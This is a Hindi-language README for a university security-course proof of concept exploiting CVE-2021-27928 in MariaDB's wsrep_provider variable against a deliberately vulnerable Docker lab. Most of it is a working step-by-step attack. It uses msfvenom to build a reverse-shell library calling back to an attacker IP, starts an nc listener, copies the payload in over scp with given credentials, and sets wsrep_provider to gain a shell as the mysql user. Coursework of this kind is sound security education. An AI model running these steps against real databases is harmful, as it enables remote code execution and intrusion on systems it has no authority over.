
CVE-2021-27928 दोष शोषण के लिए एक प्रूफ ऑफ कॉन्सेप्ट
इस रिपॉजिटरी में, आपको CVE-2021-27928 दोष के शोषण का एक प्रूफ ऑफ कॉन्सेप्ट मिलेगा, जो एक डॉकर कंटेनर के माध्यम से चलाया जाता है।
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
सिस्टम वेरिएबल wsrep_provider और wsrep_notify_cmd system को रनटाइम पर एक डेटाबेस उपयोगकर्ता द्वारा सुपर विशेषाधिकारों के साथ संशोधित किया जा सकता है, जिससे रिमोट कोड का eval हो सकता है जो इन्हीं विशेषाधिकारों के साथ निष्पादित होगा।
पहला वेरिएबल .so लाइब्रेरी का पथ लेता है जिसे सर्वर dlopen() करने का प्रयास करेगा, और दूसरा शेल स्क्रिप्ट का पथ लेता है जिसे सर्वर निष्पादित करेगा। इनके लिखने योग्य होने से, सुपर विशेषाधिकारों वाला डेटाबेस उपयोगकर्ता सिस्टम उपयोगकर्ता के रूप में मनमाना कोड निष्पादित कर सकता है।
mysqlइस प्रूफ ऑफ कॉन्सेप्ट में, हम .so लाइब्रेरी बनाने के लिए msfvenom का उपयोग करेंगे जिसमें हमारा पेलोड (हमारे मामले में, एक रिवर्स शेल) होगा। फिर हम इस फ़ाइल को कमजोर मशीन पर कॉपी करेंगे और wsrep_provider वेरिएबल पर यह पथ निर्दिष्ट करेंगे, जो हमारे पेलोड को निष्पादित करेगा, जिससे हमें अपने रिवर्स शेल की बदौलत लक्ष्य मशीन पर सुपर विशेषाधिकारों (यहाँ mysql उपयोगकर्ता) के साथ पहुँच मिल जाएगी।
इस प्रयोग के लिए, आपको अपनी मशीन पर docker, msfvenom, openssh-client और mariadb पैकेज इंस्टॉल होने चाहिए।
इस सेटअप में, लक्ष्य मशीन MariaDB 10.4.12 इमेज (जो इस दोष के लिए कमजोर है) पर आधारित है, जिसमें एक openssh सर्वर चल रहा है जिसमें root लॉगिन की अनुमति नहीं है। इस प्रकार हमने आपके लिए एक गैर-root उपयोगकर्ता बनाया है, myuser, जिसका पासवर्ड mypassword है।
कमजोर इमेज बनाना:
docker build --rm=true -t mariadb-cve-2021-27928 .
लक्ष्य मशीन लॉन्च करना:
docker compose up
पेलोड वह बाइनरी है जिसे हम चाहते हैं कि शोषण पूरा होने के बाद लक्ष्य मशीन निष्पादित करे। यहाँ, हम .so लाइब्रेरी के आकार में रिवर्स शेल पेलोड बनाने के लिए msfvenom का उपयोग करते हैं, जिसमें हमारा IP पता (LHOST) और पोर्ट (LPORT) पैरामीटर के रूप में होते हैं। दूसरे शेल पर, चलाएँ:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
LHOSTIP पता वह है जोdocker-compose.yamlमें नेटवर्क गेटवे के लिए परिभाषित है, हमारे मामले में, हमलावर, आप।
पृष्ठभूमि में, एक तीसरे टर्मिनल पर, हम लक्ष्य मशीन से उस पोर्ट पर किसी भी आने वाले कनेक्शन को सुनेंगे जिस पर उसे कनेक्ट होना है।
nc -lnvp 4444
जिस पोर्ट पर हम सुन रहे हैं,
4444, वह वही है जिसे हमने पेलोड निर्माण के समयLPORTके रूप में सेट किया था।
अब, हमें पहले बनाए गए पेलोड (payload-CVE-2021-27928.so) को scp कमांड के माध्यम से ssh से लक्ष्य मशीन पर कॉपी करना होगा, गैर-root सिस्टम उपयोगकर्ता myuser के रूप में, जिसका पासवर्ड mypassword है:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
चूँकि हम ssh के माध्यम से सीधे /usr/lib में फ़ाइल कॉपी नहीं कर सकते, हमें मशीन से कनेक्ट होना होगा और इसे मैन्युअल रूप से सही जगह पर ले जाना होगा (याद रखें कि myuser का पासवर्ड mypassword है):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
हम पेलोड को किसी अन्य निर्देशिका में किसी अन्य नाम जैसे
/tmp/exploit.soके साथ अपलोड कर सकते थे और इस पथ को पेलोड पथ के रूप में पारित कर सकते थे, लेकिन चूँकि यह दोष सभी mariadb पैकेजों पर सुधारा जा चुका है, इसके शोषण के लिए कुछ समायोजनों की आवश्यकता थी जिन्हें आप इस डेमो के अंत में देखेंगे।
अंतिम चरण MariaDB दोष का शोषण करना है, एक दोस्ताना गैर-root सिस्टम उपयोगकर्ता लेकिन सक्षम डेटाबेस एडमिनिस्ट्रेटर के रूप में एक अनुरोध भेजकर, जिसमें ग्लोबल वेरिएबल wsrep_provider को हमारे पेलोड के पथ पर सेट करने का अनुरोध हो।
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
यहाँ,
rootका अर्थ डेटाबेस स्तर पर "प्रशासक" है, न कि "सिस्टम root" उपयोगकर्ता। इस प्रकार यहाँ पासवर्ड वही है जोdocker-compose.yamlफ़ाइल में है,MYSQL_ROOT_PASSWORD: myrootpwd।
अंत में, यदि सब कुछ अपेक्षा के अनुसार काम करता है, तो हम उस टर्मिनल में वापस देख सकते हैं जिसमें हम किसी भी आने वाले कनेक्शन के लिए सुन रहे थे कि लक्ष्य मशीन ने सफलतापूर्वक हमसे वापस कनेक्ट किया है, और हम शेल कमांड चला सकते हैं। आनंद लें :)
रिवर्स शेल उतना आकर्षक नहीं है जितना एक "क्लासिक" शेल: आपके पास ऑटोकम्प्लीशन, शेल प्रॉम्प्ट या हिस्ट्री नहीं होती है, इसलिए अपने कमांड के सही निष्पादन की निगरानी करना आप पर निर्भर है। इस प्रकार, एक उदाहरण के रूप में,
ls -laका उपयोग करने में संकोच न करें।
आप यह जाँचने के लिए netcat के शेल पर
whoamiचला सकते हैं कि आप सिस्टम उपयोगकर्ताmysqlहैं!
MariaDB के Jira के अनुसार, ऐसा प्रतीत होता है कि इन वेरिएबल्स को रनटाइम पर संशोधित करने का कोई व्यावहारिक उपयोग मामला बहुत कम (या बिल्कुल नहीं) है, इनका उपयोग केवल परीक्षणों में किया जाता है। यह दोष पाए जाने के बाद, समाधान यह था कि इन्हें केवल-पठनीय (read-only) बना दिया जाए, जो आसान और सुरक्षित समाधान था, भले ही परीक्षण स्क्रिप्ट थोड़ी अधिक जटिल हो गई हों।
पहले ऐसा नहीं था, लेकिन अब, wsrep_provider केवल एक ही पथ मान ले सकता है, /usr/lib/galera/libgalera_smm.so, यही कारण है कि इस प्रूफ ऑफ कॉन्सेप्ट के लिए कुछ समायोजनों की आवश्यकता थी, जैसे कि हमारे पेलोड को अपलोड करने में सक्षम होने के लिए /usr/lib/galera फ़ोल्डर को लिखने के अधिकार देना। यह कॉन्फ़िगरेशन इसलिए इस प्रदर्शन के संदर्भ में जानबूझकर असुरक्षित है, लेकिन अधिकांश वर्तमान प्रणालियों पर इस तरह से अब उपयोग योग्य नहीं है।
यह कार्य सूचना प्रणाली सुरक्षा पाठ्यक्रम के भाग के रूप में किया गया था, जो Grenoble INP - Ensimag, UGA में सूचना प्रणाली इंजीनियरिंग विशेषज्ञता के अंतिम वर्ष में दिया जाता है।